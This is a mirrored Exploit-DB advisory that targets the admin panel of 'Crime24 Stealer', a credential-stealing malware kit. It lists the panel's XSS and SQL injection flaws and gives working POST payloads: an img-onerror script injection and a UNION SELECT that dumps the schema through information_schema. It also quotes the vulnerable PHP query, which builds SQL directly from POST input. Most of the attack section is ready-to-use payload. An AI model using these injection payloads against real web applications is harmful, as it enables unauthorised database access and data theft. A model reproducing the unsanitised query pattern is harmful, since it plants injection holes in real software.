Crime24 Stealer Panel 1.0 – Multiple Vulnerabilities - 体验盒子

作者： Daisuke Dan

日期： 2014-05-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/33156/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#_____ _____

# |_ \__ _(_)___ _ _| | _____|_ \__ _ _ __

# | | | |/ _<code> | / __| | | | |/ / _ \ | | | |/ _</code> | '_ \

# | |_| | (_| | \__ \ |_| | <__/ | |_| | (_| | | | |

# |____/ \__,_|_|___/\__,_|_|\_\___| |____/ \__,_|_| |_|

#

# #CyberNinja | My katana can slay any security!

# >> Twitter @TheHackersBay

# >> Pentester / Underground hacker

#

# Exploit Title: Crime24 Stealer Panel <= Multiple Vulnerabilities

# Date: Sunday May 3 2014

# Exploit Author: Daisuke Dan

# Vendor Homepage: Crime24.net

# Version: v.1

# Tested on: Windows Seven

# Blog post: http://thehackersbay.org/blog/2014/05/03/crime24-stealer-panel/

#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

An attacker can execute an XSS and inject sql commands in the search form.

You must be logged in the admin panel.

#=========================== EXPLOITATION ==============================

0x01 Detecting the error

POST: http://site.com/?action=search

POST Content: q='"><img+src=x+onerror=prompt('DaisukeDan');>&in=1&search=Search

Example: http://i.imgur.com/zyIr5xv.png

Result: Cross site scripting + SQL error

0x02 Exploit the SQL Injection

[+] Vulnerable code:

$result = mysql_query("SELECT * FROM <code>logs</code> WHERE <code>".$cols[$_POST["in"]]."</code> LIKE '%".$_POST["q"]."%';", $mysql);

POST: http://site.com/?action=search

POST Content:

q=' union select 1,2,group_concat(column_name,0x0a),4,5,6,7,8 from information_schema.columns where table_name=0x6c6f6773-- -

&in=1&search=Search

Example: http://i.imgur.com/t4ydLsR.png

You have access to all the database.

#=========================== Gr33tz =============================#

#================================================================#